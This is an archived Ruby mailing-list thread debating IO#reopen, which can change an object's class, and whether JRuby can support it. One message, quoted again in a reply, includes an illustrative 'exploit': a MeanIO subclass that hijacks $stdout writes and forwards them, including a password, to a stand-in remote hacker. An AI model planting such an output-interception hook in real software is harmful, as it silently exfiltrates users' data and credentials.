Prev: cannot freeze my gems
Next: LOGIN INTO YAHOO
From: Caleb Clausen on 29 Apr 2010 17:24 On 4/29/10, hemant <gethemant(a)gmail.com> wrote: > Ruby standard library uses IO#reopen many places on STDOUT. I am not > saying since Ruby standard library does that, it has to be best Not necessarily. There are some dusty corners in stdlib. If stdlib does this, it may be a bug; can you give examples? The one place I know of is the cgi library, which reopens STDIN/OUT/ERR as part of the process of purifying the environment of the cgi server process. Other servers might do the same and it would be appropriate there as well. I guess the other case where it would be necessary is if you want to change the STDIN/OUT/ERR seen by subprocesses. In other cases that I know of, modifying STDIN/OUT/ERR is not a good idea.... > How can reopen change the class btw? Ruby is not a class oriented language > btw. Check out this code. No other method in all of ruby has this behavior. p $stderr.class #=>IO f=File.new "foo","w" $stderr.reopen(f) p $stderr.class #=>File
From: Charles Oliver Nutter on 29 Apr 2010 22:36 On Thu, Apr 29, 2010 at 4:24 PM, Caleb Clausen <vikkous(a)gmail.com> wrote: > On 4/29/10, hemant <gethemant(a)gmail.com> wrote: >> How can reopen change the class btw? Ruby is not a class oriented language >> btw. > > Check out this code. No other method in all of ruby has this behavior. > > Â p $stderr.class #=>IO > > Â f=File.new "foo","w" > Â $stderr.reopen(f) > > Â p $stderr.class #=>File This is a really nasty feature not a lot of people know about. It's not possible for us to support in JRuby because the underlying object can't actually change class: ~/projects/jruby â jruby -rjruby -e 'p JRuby.reference($stdout).class' Java::OrgJruby::RubyIO ~/projects/jruby â jruby -rjruby -e 'p JRuby.reference(File.open("build.xml")).class' Java::OrgJruby::RubyFile Arbitrary IO objects are org.jruby.RubyIO objects behind the scenes, while files are RubyFile (< RubyIO) and sockets are RubySocket (< RubyIO) or one of its subclasses. "Becoming" another class isn't an option. The closest we could probably come would be to change the .class to a common superclass of both actual types, but that's still pretty goofy. I'm of the opinion that .reopen should be discouraged in general. - Charlie
From: Robert Klemme on 30 Apr 2010 03:09 2010/4/30 Charles Oliver Nutter <headius(a)headius.com>: > On Thu, Apr 29, 2010 at 4:24 PM, Caleb Clausen <vikkous(a)gmail.com> wrote: >> On 4/29/10, hemant <gethemant(a)gmail.com> wrote: >>> How can reopen change the class btw? Ruby is not a class oriented language >>> btw. >> >> Check out this code. No other method in all of ruby has this behavior. >> >> p $stderr.class #=>IO >> >> f=File.new "foo","w" >> $stderr.reopen(f) >> >> p $stderr.class #=>File > > This is a really nasty feature not a lot of people know about. It's > not possible for us to support in JRuby because the underlying object > can't actually change class: That's true, instances which change their class - this is problematic. > I'm of the opinion that .reopen should be discouraged in general. IMHO that is a bad idea because this is the standard way how you redirect stderr, stdin and stdout for child processes - at least on POSIX systems. Any program that wants to do something similar like IO.popen or just wants to prevent the child's stdout to clutter its own output depends on the ability to do this. Kind regards robert -- remember.guy do |as, often| as.you_can - without end http://blog.rubybestpractices.com/
From: Charles Oliver Nutter on 30 Apr 2010 03:43 On Fri, Apr 30, 2010 at 2:09 AM, Robert Klemme <shortcutter(a)googlemail.com> wrote: > 2010/4/30 Charles Oliver Nutter <headius(a)headius.com>: >> This is a really nasty feature not a lot of people know about. It's >> not possible for us to support in JRuby because the underlying object >> can't actually change class: > > That's true, instances which change their class - this is problematic. > >> I'm of the opinion that .reopen should be discouraged in general. > > IMHO that is a bad idea because this is the standard way how you > redirect stderr, stdin and stdout for child processes - at least on > POSIX systems. Â Any program that wants to do something similar like > IO.popen or just wants to prevent the child's stdout to clutter its > own output depends on the ability to do this. IO.popen doesn't require IO#reopen to be available to users, so I'm not sure what you mean by that. It may do something similar to reopen under the covers, but that's an implementation detail. My primary gripe is the changing class; at worst, IO#reopen should only change the class to some common superclass, so that reopening a File stream with a Socket would turn it into an IO. But at best, the class shouldn't change at all; no other behavior in all of Ruby can cause an object to change its effective type out from under you. Consider this goofy sort of exploit: class MeanIO < IO def initialize(io) super(io.fileno) @io = io end def write(data) $stderr.puts "sending your data to hacker!" $remote_hacker.receive(data) super(data) end end $stdout.reopen(MeanIO.new($stdout)) puts 'password:aSdFgH' Now of course you could do similar sorts of things by simply class << $stdout, but the problem with reopen is that I can't even freeze a class somewhere to prevent this from happening. $SAFE can prevent you from reopening on an "untainted IO", but you have to go up to level 4 before that happens...plus I believe only MRI supports SAFE fully (JRuby has some minimal support for tainting, but does not implement SAFE levels). So yeah, I appreciate that "reopen" is the typical way people redirect IO, but in this case it breaks Ruby's class/object model in a really nasty way. Perhaps $stderr and friends should not be some sort of DelegateIO that has a reopen, but which doesn't change its class. Or perhaps not changing the class and letting the user fail if they try to call unsupported methods is best. At any rate, for a strongly-typed language like Ruby, objects *should not* change their class under any circumstances. - Charlie
From: hemant on 30 Apr 2010 06:28
Hi On Fri, Apr 30, 2010 at 1:13 PM, Charles Oliver Nutter <headius(a)headius.com> wrote: > > IO.popen doesn't require IO#reopen to be available to users, so I'm > not sure what you mean by that. It may do something similar to reopen > under the covers, but that's an implementation detail. > > My primary gripe is the changing class; at worst, IO#reopen should > only change the class to some common superclass, so that reopening a > File stream with a Socket would turn it into an IO. But at best, the > class shouldn't change at all; no other behavior in all of Ruby can > cause an object to change its effective type out from under you. > Consider this goofy sort of exploit: > > class MeanIO < IO > def initialize(io) > super(io.fileno) > @io = io > end > > def write(data) > $stderr.puts "sending your data to hacker!" > $remote_hacker.receive(data) > super(data) > end > end > > $stdout.reopen(MeanIO.new($stdout)) > > puts 'password:aSdFgH' > > Now of course you could do similar sorts of things by simply class << > $stdout, but the problem with reopen is that I can't even freeze a > class somewhere to prevent this from happening. $SAFE can prevent you > from reopening on an "untainted IO", but you have to go up to level 4 > before that happens...plus I believe only MRI supports SAFE fully > (JRuby has some minimal support for tainting, but does not implement > SAFE levels). > > So yeah, I appreciate that "reopen" is the typical way people redirect > IO, but in this case it breaks Ruby's class/object model in a really > nasty way. Perhaps $stderr and friends should not be some sort of > DelegateIO that has a reopen, but which doesn't change its class. Or > perhaps not changing the class and letting the user fail if they try > to call unsupported methods is best. At any rate, for a strongly-typed > language like Ruby, objects *should not* change their class under any > circumstances. > And was this discussed on ruby-core, it seems same behaviour can be achieved without changing the class (or if required changing to some superclass)? -- Let them talk of their oriental summer climes of everlasting conservatories; give me the privilege of making my own summer with my own coals. http://gnufied.org |